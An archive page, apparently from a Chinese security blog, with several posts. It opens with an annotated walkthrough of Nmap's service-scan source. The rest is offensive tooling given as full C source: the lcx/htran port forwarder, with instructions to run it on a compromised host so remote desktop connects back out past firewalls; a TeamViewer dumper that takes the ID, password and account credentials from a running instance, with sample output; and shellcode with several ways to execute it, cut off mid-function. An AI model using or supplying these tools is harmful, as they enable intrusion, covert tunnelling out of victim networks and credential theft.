  3. 测试是否匹配接口函数。若匹配成功,返回详细的服务与版本信息。

 

2.3  代码流程

  在nmap.cc文件的nmap_main()函数中,如果配置了服务扫描,那么调用service_scan()函数(位于service_scan.cc文件中)。服务扫描的内容主要在service_scan()函数中完成。

  service_scan()函数比较简洁,只有120多行代码。因为服务扫描涉及到具体详细的操作都封装到类或其他的静态非成员函数中了,而并发处理网络事件部分调用nsock库来处理。

2.3.1代码流程图

2.3.2流程解析

  首先在nmap_main()中将扫描目标机传入service_scan()函数中,以便根据目标机端口状态来筛选需要扫描的服务。

  然后,在AllProbes:: service_scan_init()读取nmap-service-probes文件,解析出被排除的端口、扫描过程需要的探测包、探测包匹配等详细信息。将信息存放在AllProbes对象内。

  随后,根据Targets和AllProbes创建服务组对象(ServiceGroup),从Targets中解析出开放的端口与处于open|filtered状态的端口,创建对应的ServiceNFO对象,该服务等待被扫描。并创建扫描进度测量器,以便后续打印出扫描进度;确定最佳的扫描并发度ideal_parallelism。

  然后,确定排除端口。默认情况下,排除nmap-service-probes中指定的端口Exclude T:9100-9107;而如果用户命令行指定--all-ports,那么不排除Exclude指定的端口。

为每个目标机设置超时时钟,获取当前时间。

  然后开始进入关键环节,创建nsock pool,即nsock处理并发探测包的事件池。在创建nsock pool后,服务扫描才能使用nsock建立连接并注册事件。

根据用户需求,设置服务扫描的trace信息。

  若配置了openssl时,将其速度设置为最大。因为对于服务扫描,仅关心端口的服务类型,不必在安全性花费过多时间。

  然后开始启动少量的服务探测包(launchSomeServiceProbes)。根据前述步骤得出的服务探测包,创建nsock niod(io描述符,类似于文件描述符,管理输入输出),完成地址等信息配置,然后建立CP连接或UDP连接,在建立连接后向nsock pool注册事件。此后,该连接的事件将交给nsock loop来统一处理。

  创建nsock主循环(nsock_loop),在此循环中来接收网络事件(例如接收到回复包),调用相应的处理函数对事件响应(函数servicescan_read_handler()、servicescan_write_handler()、servicescan_connect_handler())。在处理函数中,扫描完成了某些服务后,会再调用launchSomeServiceProbes()函数加载剩余的服务进来扫描,以此整个服务扫描过程就被有序地连接起来了。

  当nsock循环退出,检查是否有错,并删除nsock pool对象。

  打印出调试信息,处理最终扫描结果。

3  源码注释

/* Execute a service fingerprinting scan against all open ports of the
   Targets specified. */
///针对指定目标机的开放的端口进行服务指纹扫描,
///此处会用到Nmap的nsock库(并发的Socket Event处理库)
int service_scan(vector<Target *> &Targets) {
  // int service_scan(Target *targets[], int num_targets)
  AllProbes *AP;
  ServiceGroup *SG;
  nsock_pool nsp;
  struct timeval now;
  int timeout;
  enum nsock_loopstatus looprc;
  struct timeval starttv;

  if (Targets.size() == 0)
    return 1;

  AP = AllProbes::service_scan_init();///获取AllProbes对象,AllProbes仅维护一个Static对象
  ///在service_scan_init()中将读取nmap-service-probes文件,解析出需要的探测包,并存放在
  ///AllProbes中std::vector<ServiceProbe *> probes向量中。


  // Now I convert the targets into a new ServiceGroup
  ///使用Targets向量与AllProbes创建服务组ServiceGroup,从Targets中提取open端口及
  ///open|filtered端口,放入services_remaining等待进行服务扫描。
  ///在创建服务组时,确定出服务扫描的最佳并发度ideal_parallelism
  SG = new ServiceGroup(Targets, AP);

  if (o.override_excludeports) {
    ///覆盖被排除端口,当命令行中指定--all-ports时会走到此分支。
    ///被排除的端口是指在nmap-service-probes文件用Exclude指令定义的端口。
    if (o.debugging || o.verbose) log_write(LOG_PLAIN, "Overriding exclude ports option! Some undesirable ports may be version scanned!\n");
  } else {
    ///从ServiceGroup中移除被排除的端口,Nmap默认会排出掉9100-9107与打印机相关的服务,
    ///因为此类服务只是简单返回Nmap发送过去的探测包,会产生大量的垃圾的流量。
    ///默认情况下在nmap-service-probes文件头部定义:Exclude T:9100-9107
    remove_excluded_ports(AP, SG);
  }
  ///为所有需要进行服务扫描的主机设置超时值
  startTimeOutClocks(SG);

  if (SG->services_remaining.size() == 0) {
    delete SG;
    return 1;
  }
  
  gettimeofday(&starttv, NULL);
  if (o.verbose) {
    char targetstr[128];
    bool plural = (Targets.size() != 1);
    if (!plural) {
      (*(Targets.begin()))->NameIP(targetstr, sizeof(targetstr));
    } else Snprintf(targetstr, sizeof(targetstr), "%u hosts", (unsigned) Targets.size());

    log_write(LOG_STDOUT, "Scanning %u %s on %s\n", 
          (unsigned) SG->services_remaining.size(), 
          (SG->services_remaining.size() == 1)? "service" : "services", 
          targetstr);
  }

  // Lets create a nsock pool for managing all the concurrent probes
  // Store the servicegroup in there for availability in callbacks
  ///创建nsock pool,以使用nsock并发控制探测包
  if ((nsp = nsp_new(SG)) == NULL) {
    fatal("%s() failed to create new nsock pool.", __func__);
  }

  ///根据用户指定的packettrace配置,设置nsock的trace级别
  if (o.versionTrace()) {
    nsp_settrace(nsp, NULL, NSOCK_TRACE_LEVEL, o.getStartTime());
  }

#if HAVE_OPENSSL
  /* We don't care about connection security in version detection. */
  ///配置SSL时,关注传输速度,而不关注安全性本身,以加速服务扫描过程。
  nsp_ssl_init_max_speed(nsp);
#endif

  ///从service_remaining列表中找出满足条件的等待探测服务,对之进行配置,
  ///创建nsock文件描述符(niod),并通过nsock建立连接(如nsock_connect_tcp()),
  ///并将此探测服务移动到services_in_progress列表中。
  launchSomeServiceProbes(nsp, SG);

  // How long do we have before timing out?
  gettimeofday(&now, NULL);
  timeout = -1;

  // OK!  Lets start our main loop!
  ///nsock主循环,在此循环内处理各种探测包的事件(nsock event)
  ///在上述的launchSomeServiceProbes操作中,调用到nsock_connect_tcp/udp/sctp等,
  ///最终执行nsp_add_event函数向nsock pool添加等待处理的事件。
  looprc = nsock_loop(nsp, timeout);
  if (looprc == NSOCK_LOOP_ERROR) {
    int err = nsp_geterrorcode(nsp);
    fatal("Unexpected nsock_loop error.  Error code %d (%s)", err, strerror(err));
  }
  ///退出主循环后,删除nsock pool
  nsp_delete(nsp);

  if (o.verbose) {
    char additional_info[128];
    if (SG->num_hosts_timedout == 0)
      Snprintf(additional_info, sizeof(additional_info), "%u %s on %u %s",
        (unsigned) SG->services_finished.size(),  
        (SG->services_finished.size() == 1)? "service" : "services", 
        (unsigned) Targets.size(), (Targets.size() == 1)? "host" : "hosts");
    else Snprintf(additional_info, sizeof(additional_info), "%u %s timed out", 
           SG->num_hosts_timedout, 
           (SG->num_hosts_timedout == 1)? "host" : "hosts");
    SG->SPM->endTask(NULL, additional_info);
  }

  // Yeah - done with the service scan.  Now I go through the results
  // discovered, store the important info away, and free up everything
  // else.
  ///对服务扫描结果的处理
  processResults(SG);

  delete SG;

  return 0;
}

from:http://blog.csdn.net/aspirationflow/article/details/7910350

lcx的源码

发布时间:July 5, 2015 // 分类:工作日志,代码学习,VC/C/C++,windows,生活琐事 // No Comments

// htran.cpp 
  
/* 
用法说明: 
[Usage of Packet Transmit:]  lcx.exe -<listen|tran|slave> <option> [-log logfile] 
 
[option:] 
  -listen <ConnectPort> <TransmitPort> 
  -tran   <ConnectPort> <TransmitHost> <TransmitPort> 
  -slave  <ConnectHost> <ConnectPort>  <TransmitHost> <TransmitPort> 
 
备注: 
-listen 后面接的两个端口都是监听功能,即:被动连接 
-tran   这个就是最容易理解的端口转发功能 
-slave  后面接的两个地址和端口都是指本机要去主动连接的 
 
反弹3389: 
1、肉鸡上运行:lcx.exe -slave 控制机IP 80 127.0.0.1 3389 
2、控制机运行:lcx.exe -listen 80 3389 
3、之后在控制机上连接本地的3389即可,这样做的效果就是通过80端口实现了远程桌面的功能,而且还是肉鸡自己反弹外连出来的,因此能很好的绕过防火墙和内网的限制。 
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <winsock2.h>  
#include <errno.h>  
#include <signal.h>  
#include <io.h>  
  
#pragma comment(lib, "ws2_32.lib")  
  
#define VERSION     "1.00"  
#define TIMEOUT     300  
#define MAXSIZE     20480 //20KB  
#define HOSTLEN     40  
#define CONNECTNUM  5  
  
struct transocket  
{  
    SOCKET fd1;  
    SOCKET fd2;  
};  
  
//void ver();  
//void proxy(int port);  
  
void usage(char *prog);  
  
void getctrlc(int j);  
void closeallfd();  
void makelog(char *buffer, int length);  
int testifisvalue(char *str);  
  
void bind2bind(int port1, int port2);  
void bind2conn(int port1, char *host, int port2);  
void conn2conn(char *host1, int port1, char *host2, int port2);  
  
int create_socket();  
int create_server(int sockfd, int port);  
int client_connect(int sockfd, char* server, int port);  
  
void transmitdata(LPVOID data);  
  
extern int errno;  
  
FILE *fp;  
  
int method=0;  
  
VOID main(int argc, char* argv[])  
{  
    char **p;  
  
    char sConnectHost[HOSTLEN];  
    char sTransmitHost[HOSTLEN];  
  
    int iConnectPort=0;  
    int iTransmitPort=0;  
  
    char *logfile=NULL;  
  
    memset(sConnectHost, 0, HOSTLEN);  
    memset(sTransmitHost, 0, HOSTLEN);  
  
    p=argv;  
    while(*p)  
    {  
        if(_stricmp(*p, "-log") == 0)  
        {  
            if(testifisvalue(*(p+1)))  
            {  
                logfile = *(++p);  
            }  
            else  
            {  
                printf("[-] ERROR: Must supply logfile name.\r\n");  
                return;  
            }  
            p++;  
            continue;  
        }  
  
        p++;  
    }  
  
    if(logfile !=NULL)  
    {  
        fp = fopen(logfile,"a");  
        if(fp == NULL )  
        {  
            printf("[-] ERROR: open logfile");  
            return;  
        }  
  
        makelog("====== Start ======\r\n", 0);  
    }  
  
    WSADATA wsadata;  
    WSAStartup(MAKEWORD(1, 1), &wsadata);  
  
    signal(SIGINT, &getctrlc);  
  
    if(argc > 2)  
    {  
        if(_stricmp(argv[1], "-listen") == 0 && argc >= 4)  
        {  
            iConnectPort = atoi(argv[2]);  
            iTransmitPort = atoi(argv[3]);  
            method = 1;  
        }  
        else if(_stricmp(argv[1], "-tran") == 0 && argc >= 5)  
        {  
            iConnectPort = atoi(argv[2]);  
            strncpy(sTransmitHost, argv[3], HOSTLEN);  
            iTransmitPort = atoi(argv[4]);  
            method = 2;  
        }  
        else if(_stricmp(argv[1], "-slave") == 0 && argc >= 6)  
        {  
            strncpy(sConnectHost, argv[2], HOSTLEN);  
            iConnectPort = atoi(argv[3]);  
            strncpy(sTransmitHost, argv[4], HOSTLEN);  
            iTransmitPort = atoi(argv[5]);  
            method = 3;  
        }  
    }  
  
    switch(method)  
    {  
    case 1:  
        bind2bind(iConnectPort, iTransmitPort);  
        break;  
    case 2:  
        bind2conn(iConnectPort, sTransmitHost, iTransmitPort);  
        break;  
    case 3:  
        conn2conn(sConnectHost, iConnectPort, sTransmitHost, iTransmitPort);  
        break;  
    default:  
        usage(argv[0]);  
        break;  
    }  
  
    if(method)  
    {  
        closeallfd();  
    }  
  
    WSACleanup();  
  
    return;  
}  
  
VOID usage(char* prog)  
{  
    printf("[Usage of Packet Transmit:]\r\n");  
    printf(" %s -<listen|tran|slave> <option> [-log logfile]\n\n", prog);  
    printf("[option:]\n");  
    printf(" -listen <ConnectPort> <TransmitPort>\n");  
    printf(" -tran   <ConnectPort> <TransmitHost> <TransmitPort>\n");  
    printf(" -slave  <ConnectHost> <ConnectPort>  <TransmitHost> <TransmitPort>\n\n");  
  
    return;  
}  
  
//************************************************************************************  
//  
// test if is value  
//  
//************************************************************************************  
int testifisvalue(char *str)  
{  
    if(str == NULL ) return(0);  
  
    if(str[0]=='-') return(0);  
  
    return(1);  
}  
  
//************************************************************************************  
//  
// LocalHost:ConnectPort transmit to LocalHost:TransmitPort  
//  
//************************************************************************************  
void bind2bind(int port1, int port2)  
{  
    SOCKET fd1,fd2,sockfd1,sockfd2;  
    struct sockaddr_in client1,client2;  
    int size1,size2;  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
  
    if((fd1=create_socket())==0) return;  
    if((fd2=create_socket())==0) return;  
  
    printf("[+] Listening port %d ......\r\n",port1);  
    fflush(stdout);  
  
    if(create_server(fd1, port1)==0)  
    {  
        closesocket(fd1);  
        return;  
    }  
  
    printf("[+] Listen OK!\r\n");  
    printf("[+] Listening port %d ......\r\n",port2);  
    fflush(stdout);  
  
    if(create_server(fd2, port2)==0)  
    {  
        closesocket(fd2);  
        return;  
    }  
  
    printf("[+] Listen OK!\r\n");  
    size1=size2=sizeof(struct sockaddr);  
  
    while(1)  
    {  
        printf("[+] Waiting for Client on port:%d ......\r\n",port1);  
        if((sockfd1 = accept(fd1,(struct sockaddr *)&client1,&size1))<0)  
        {  
            printf("[-] Accept1 error.\r\n");  
            continue;  
        }  
  
        printf("[+] Accept a Client on port %d from %s ......\r\n", port1, inet_ntoa(client1.sin_addr));  
        printf("[+] Waiting another Client on port:%d....\r\n", port2);  
        if((sockfd2 = accept(fd2, (struct sockaddr *)&client2, &size2))<0)  
        {  
            printf("[-] Accept2 error.\r\n");  
            closesocket(sockfd1);  
            continue;  
        }  
  
        printf("[+] Accept a Client on port %d from %s\r\n",port2, inet_ntoa(client2.sin_addr));  
        printf("[+] Accept Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// LocalHost:ConnectPort transmit to TransmitHost:TransmitPort  
//  
//************************************************************************************  
void bind2conn(int port1, char *host, int port2)  
{  
    SOCKET sockfd,sockfd1,sockfd2;  
    struct sockaddr_in remote;  
    int size;  
    char buffer[1024];  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
  
    if (port1 > 65535 || port1 < 1)  
    {  
        printf("[-] ConnectPort invalid.\r\n");  
        return;  
    }  
  
    if (port2 > 65535 || port2 < 1)  
    {  
        printf("[-] TransmitPort invalid.\r\n");  
        return;  
    }  
  
    memset(buffer,0,1024);  
  
    if((sockfd=create_socket()) == INVALID_SOCKET) return;  
  
    if(create_server(sockfd, port1) == 0)  
    {  
        closesocket(sockfd);  
        return;  
    }  
  
    size=sizeof(struct sockaddr);  
    while(1)  
    {  
        printf("[+] Waiting for Client ......\r\n");  
        if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,&size))<0)  
        {  
            printf("[-] Accept error.\r\n");  
            continue;  
        }  
        printf("[+] Accept a Client from %s:%d ......\r\n", inet_ntoa(remote.sin_addr), ntohs(remote.sin_port));  
        if((sockfd2=create_socket())==0)  
        {  
            closesocket(sockfd1);  
            continue;  
        }  
        printf("[+] Make a Connection to %s:%d ......\r\n",host,port2);  
        fflush(stdout);  
        if(client_connect(sockfd2,host,port2)==0)  
        {  
            closesocket(sockfd2);  
            sprintf(buffer,"[SERVER]connection to %s:%d error\r\n", host, port2);  
            send(sockfd1,buffer,strlen(buffer),0);  
            memset(buffer, 0, 1024);  
            closesocket(sockfd1);  
            continue;  
        }  
  
        printf("[+] Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// ConnectHost:ConnectPort transmit to TransmitHost:TransmitPort  
//  
//************************************************************************************  
void conn2conn(char *host1,int port1,char *host2,int port2)  
{  
    SOCKET sockfd1,sockfd2;  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
    fd_set fds;  
    int l;  
    char buffer[MAXSIZE];  
  
    while(1)  
    {  
        if((sockfd1=create_socket())==0) return;  
        if((sockfd2=create_socket())==0) return;  
  
        printf("[+] Make a Connection to %s:%d....\r\n",host1,port1);  
        fflush(stdout);  
        if(client_connect(sockfd1,host1,port1)==0)  
        {  
            closesocket(sockfd1);  
            closesocket(sockfd2);  
            continue;  
        }  
  
        // fix by bkbll  
        // if host1:port1 recved data, than connect to host2,port2  
        l=0;  
        memset(buffer,0,MAXSIZE);  
        while(1)  
        {  
            FD_ZERO(&fds);  
            FD_SET(sockfd1, &fds);  
  
            if (select(sockfd1+1, &fds, NULL, NULL, NULL) == SOCKET_ERROR)  
            {  
                if (errno == WSAEINTR) continue;  
                break;  
            }  
            if (FD_ISSET(sockfd1, &fds))  
            {  
                l=recv(sockfd1, buffer, MAXSIZE, 0);  
                break;  
            }  
            Sleep(5);  
        }  
  
        if(l<=0)  
        {  
            printf("[-] There is a error...Create a new connection.\r\n");  
            continue;  
        }  
        while(1)  
        {  
            printf("[+] Connect OK!\r\n");  
            printf("[+] Make a Connection to %s:%d....\r\n", host2,port2);  
            fflush(stdout);  
            if(client_connect(sockfd2,host2,port2)==0)  
            {  
                closesocket(sockfd1);  
                closesocket(sockfd2);  
                continue;  
            }  
  
            if(send(sockfd2,buffer,l,0)==SOCKET_ERROR)  
            {  
                printf("[-] Send failed.\r\n");  
                continue;  
            }  
  
            l=0;  
            memset(buffer,0,MAXSIZE);  
            break;  
        }  
  
        printf("[+] All Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// Socket Transmit to Socket  
//  
//************************************************************************************  
void transmitdata(LPVOID data)  
{  
    SOCKET fd1, fd2;  
  
    transocket *sock;  
    struct timeval timeset;  
    fd_set readfd,writefd;  
  
    int result,i=0;  
  
    char read_in1[MAXSIZE],send_out1[MAXSIZE];  
    char read_in2[MAXSIZE],send_out2[MAXSIZE];  
  
    int read1=0,totalread1=0,send1=0;  
    int read2=0,totalread2=0,send2=0;  
  
    int sendcount1,sendcount2;  
  
    int maxfd;  
  
    struct sockaddr_in client1,client2;  
    int structsize1,structsize2;  
  
    char host1[20],host2[20];  
    int port1=0,port2=0;  
  
    char tmpbuf[100];  
  
    sock = (transocket *)data;  
    fd1 = sock->fd1;  
    fd2 = sock->fd2;  
  
    memset(host1,0,20);  
    memset(host2,0,20);  
    memset(tmpbuf,0,100);  
  
    structsize1=sizeof(struct sockaddr);  
    structsize2=sizeof(struct sockaddr);  
  
    if(getpeername(fd1,(struct sockaddr *)&client1,&structsize1)<0)  
    {  
        strcpy(host1, "fd1");  
    }  
    else  
    {  
        strcpy(host1, inet_ntoa(client1.sin_addr));  
        port1=ntohs(client1.sin_port);  
    }  
  
    if(getpeername(fd2,(struct sockaddr *)&client2,&structsize2)<0)  
    {  
        strcpy(host2,"fd2");  
    }  
    else  
    {  
        strcpy(host2, inet_ntoa(client2.sin_addr));  
        port2=ntohs(client2.sin_port);  
    }  
  
    printf("[+] Start Transmit (%s:%d <-> %s:%d) ......\r\n\n", host1, port1, host2, port2);  
  
    maxfd=max(fd1,fd2)+1;  
    memset(read_in1,0,MAXSIZE);  
    memset(read_in2,0,MAXSIZE);  
    memset(send_out1,0,MAXSIZE);  
    memset(send_out2,0,MAXSIZE);  
  
    timeset.tv_sec=TIMEOUT;  
    timeset.tv_usec=0;  
  
    while(1)  
    {  
        FD_ZERO(&readfd);  
        FD_ZERO(&writefd);  
  
        FD_SET((UINT)fd1, &readfd);  
        FD_SET((UINT)fd1, &writefd);  
        FD_SET((UINT)fd2, &writefd);  
        FD_SET((UINT)fd2, &readfd);  
  
        result=select(maxfd,&readfd,&writefd,NULL,&timeset);  
        if((result<0) && (errno!=EINTR))  
        {  
            printf("[-] Select error.\r\n");  
            break;  
        }  
        else if(result==0)  
        {  
            printf("[-] Socket time out.\r\n");  
            break;  
        }  
  
        if(FD_ISSET(fd1, &readfd))  
        {  
            /* must < MAXSIZE-totalread1, otherwise send_out1 will flow */  
            if(totalread1<MAXSIZE)  
            {  
                read1=recv(fd1, read_in1, MAXSIZE-totalread1, 0);  
                if((read1==SOCKET_ERROR) || (read1==0))  
                {  
                    printf("[-] Read fd1 data error,maybe close?\r\n");  
                    break;  
                }  
  
                memcpy(send_out1+totalread1,read_in1,read1);  
                sprintf(tmpbuf,"\r\nRecv %5d bytes from %s:%d\r\n", read1, host1, port1);  
                printf(" Recv %5d bytes %16s:%d\r\n", read1, host1, port1);  
  
                makelog(tmpbuf,strlen(tmpbuf));  
                makelog(read_in1,read1);  
  
                totalread1+=read1;  
                memset(read_in1,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd2, &writefd))  
        {  
            int err=0;  
            sendcount1=0;  
            while(totalread1>0)  
            {  
                send1=send(fd2, send_out1+sendcount1, totalread1, 0);  
  
                if(send1==0) break;  
  
                if((send1<0) && (errno!=EINTR))  
                {  
                    printf("[-] Send to fd2 unknow error.\r\n");  
                    err=1;  
                    break;  
                }  
  
                if((send1<0) && (errno==ENOSPC)) break;  
  
                sendcount1+=send1;  
                totalread1-=send1;  
  
                printf(" Send %5d bytes %16s:%d\r\n", send1, host2, port2);  
            }  
  
            if(err==1) break;  
  
            if((totalread1>0) && (sendcount1>0))  
            {  
                /* move not sended data to start addr */  
                memcpy(send_out1,send_out1+sendcount1,totalread1);  
                memset(send_out1+totalread1,0,MAXSIZE-totalread1);  
            }  
            else  
            {  
                memset(send_out1,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd2, &readfd))  
        {  
            if(totalread2<MAXSIZE)  
            {  
                read2=recv(fd2,read_in2,MAXSIZE-totalread2, 0);  
  
                if(read2==0) break;  
  
                if((read2<0) && (errno!=EINTR))  
                {  
                    printf("[-] Read fd2 data error,maybe close?\r\n\r\n");  
                    break;  
                }  
  
                memcpy(send_out2+totalread2,read_in2,read2);  
                sprintf(tmpbuf, "\r\nRecv %5d bytes from %s:%d\r\n", read2, host2, port2);  
                printf(" Recv %5d bytes %16s:%d\r\n", read2, host2, port2);  
  
                makelog(tmpbuf,strlen(tmpbuf));  
                makelog(read_in2,read2);  
  
                totalread2+=read2;  
                memset(read_in2,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd1, &writefd))  
        {  
            int err2=0;  
            sendcount2=0;  
            while(totalread2>0)  
            {  
                send2=send(fd1, send_out2+sendcount2, totalread2, 0);  
  
                if(send2==0) break;  
  
                if((send2<0) && (errno!=EINTR))  
                {  
                    printf("[-] Send to fd1 unknow error.\r\n");  
                    err2=1;  
                    break;  
                }  
  
                if((send2<0) && (errno==ENOSPC)) break;  
  
                sendcount2+=send2;  
                totalread2-=send2;  
  
                printf(" Send %5d bytes %16s:%d\r\n", send2, host1, port1);  
            }  
  
            if(err2==1) break;  
            if((totalread2>0) && (sendcount2 > 0))  
            {  
                /* move not sended data to start addr */  
                memcpy(send_out2, send_out2+sendcount2, totalread2);  
                memset(send_out2+totalread2, 0, MAXSIZE-totalread2);  
            }  
            else  
            {  
                memset(send_out2,0,MAXSIZE);  
            }  
        }  
  
        Sleep(5);  
    }  
  
    closesocket(fd1);  
    closesocket(fd2);  
  
    printf("\r\n[+] OK! I Closed The Two Socket.\r\n");  
}  
  
int create_socket()  
{  
    int sockfd;  
  
    sockfd=socket(AF_INET,SOCK_STREAM,0);  
    if(sockfd<0)  
    {  
        printf("[-] Create socket error.\r\n");  
        return(0);  
    }  
  
    return(sockfd);  
}  
  
int create_server(int sockfd,int port)  
{  
    struct sockaddr_in srvaddr;  
    int on=1;  
  
    memset(&srvaddr, 0, sizeof(struct sockaddr));  
  
    srvaddr.sin_port=htons(port);  
    srvaddr.sin_family=AF_INET;  
    srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);  
  
    setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR, (char*)&on,sizeof(on)); //so I can rebind the port  
  
    if(bind(sockfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)  
    {  
        printf("[-] Socket bind error.\r\n");  
        return(0);  
    }  
  
    if(listen(sockfd,CONNECTNUM)<0)  
    {  
        printf("[-] Socket Listen error.\r\n");  
        return(0);  
    }  
  
    return(1);  
}  
  
int client_connect(int sockfd,char* server,int port)  
{  
    struct sockaddr_in cliaddr;  
    struct hostent *host;  
  
    if(!(host=gethostbyname(server)))  
    {  
        printf("[-] Gethostbyname(%s) error:%s\n",server,0);  
        return(0);  
    }  
  
    memset(&cliaddr, 0, sizeof(struct sockaddr));  
    cliaddr.sin_family=AF_INET;  
    cliaddr.sin_port=htons(port);  
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);  
  
    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)  
    {  
        printf("[-] Connect error.\r\n");  
        return(0);  
    }  
    return(1);  
}  
  
void makelog(char *buffer,int length)  
{  
    if (0 == length)  
    {  
        length = strlen(buffer);  
    }  
  
    if (fp != NULL)  
    {  
        _write(_fileno(fp),buffer,length);  
    }  
}  
  
void getctrlc(int j)  
{  
    printf("\r\n[-] Received Ctrl+C\r\n");  
    closeallfd();  
    exit(0);  
}  
  
void closeallfd()  
{  
    int i;  
  
    printf("[+] Let me exit ......\r\n");  
    fflush(stdout);  
  
    for(i=3; i<256; i++)  
    {  
        closesocket(i);  
    }  
  
    if(fp != NULL)  
    {  
        fprintf(fp,"\r\n====== Exit ======\r\n");  
        fclose(fp);  
    }  
  
    printf("[+] All Right!\r\n");  
}  

 

获取运行中的TeamViewer的账号和密码

发布时间:June 10, 2015 // 分类:工作日志,运维工作,代码学习,VC/C/C++,转帖文章 // 1 Comment

Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" )
 
int status = 0;
 
BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{
        const int BufferSize = 1024;
        char BufferContent[BufferSize] = "";
        SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
       
        if (status == 1)
        {
                printf("%s\n", BufferContent);
                status = 0;
        }
 
        if (strstr(BufferContent, "Allow Remote Control") != NULL)
        {
                status = 1;
                printf("TeamViewer ID: ");
        }
       
        if (strstr(BufferContent, "Please tell your partner") != NULL)
        {
                status = 1;
                printf("TeamViewer PASS: ");
        }
 
        return 1;
}
 
BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{
        const int BufferSize = 1024;
        char BufferContent[BufferSize] = "";
        SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
       
        if (status == 1)
        {
                printf("%s\n", BufferContent);
                status = 0;
        }
 
        if (strstr(BufferContent, "E-mail") != NULL)
        {
                status = 1;
                printf("E-mail: ");
        }
       
        if (strstr(BufferContent, "Password") != NULL)
        {
                status = 1;
                printf("Password: ");
        }
 
        return 1;
}
 
 
int main()
{
        HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer");
 
        if (hwndTeamViewer)
        {
                EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
        }
       
       
        HWND hwndAccount = FindWindow(NULL, "Computers & Contacts");
 
        if (hwndAccount)
        {
                EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
        }
 
       
        return 0;
}
C:\tools\Projects>TeamViewer_Dump.exe
TeamViewer ID: 606 151 261
TeamViewer PASS: 3239
E-mail: hacked@account.com
Password: FooPassword123

C:\tools\Projects>

几种用C语言来执行shellcode(其实也就是机器码)的方式

发布时间:June 5, 2015 // 分类:开发笔记,VC/C/C++,代码学习,windows // No Comments

/*   
 *  作者: 冷却   
 *  时间: 2009年2月21日   
 *  E-mail: leng_que@yahoo.com.cn   
 *  描述: 演示几种用C语言来执行shellcode(其实也就是机器码)的方式 
 *  备注:在WindowsXP SP3下测试成功 
 */  
  
//一段打开Windows计算器(calc.exe)的shellcode  
unsigned char shellcode[] =  
"/xb8/x82/x0a/x8d/x38/xd9/xc6/xd9/x74/x24/xf4/x5a/x29/xc9/xb1/x23"  
"/x31/x42/x12/x83/xea/xfc/x03/xc0/x04/x6f/xcd/x38/xf0/x2b/x2e/xc0"  
"/x01/x3f/x6b/xfc/x8a/x43/x71/x84/x8d/x54/xf2/x3b/x96/x21/x5a/xe3"  
"/xa7/xde/x2c/x68/x93/xab/xae/x80/xed/x6b/x29/xf0/x8a/xac/x3e/x0f"  
"/x52/xe6/xb2/x0e/x96/x1c/x38/x2b/x42/xc7/xc5/x3e/x8f/x8c/x99/xe4"  
"/x4e/x78/x43/x6f/x5c/x35/x07/x30/x41/xc8/xfc/x45/x65/x41/x03/xb2"  
"/x1f/x09/x20/x40/xe3/x83/xe8/x2c/x68/xa3/xd8/x29/xae/x5c/x15/xba"  
"/x6f/x91/xae/xcc/x73/x04/x3b/x44/x84/xbd/x35/x1f/x14/xf1/x46/x1f"  
"/x15/x79/x2e/x23/x4a/x4c/x59/x3b/x22/x27/x5d/x38/x0a/x4c/xce/x56"  
"/xf5/x6b/x0c/xd5/x61/x14/x2f/x93/x7c/x73/x2f/x44/xe3/x1a/xa3/xe9"  
"/xe4";  
  
//第一种执行方式  
void exe_1()  
{  
    void (*code)(void);  
    code = (void*)shellcode;  
    code();  
}  
  
//第二种执行方式  
void exe_2()  
{  
    ( (void (*)(void))shellcode )();  
}  
  
//第三种执行方式  
void exe_3()  
{  
    __asm  
    {  
        lea eax,shellcode;  
        jmp eax;  
    }  
}  
  
//第四种执行方式  
void exe_4()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        jmp eax;  
    }  
}  
  
//第五种执行方式  
void exe_5()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
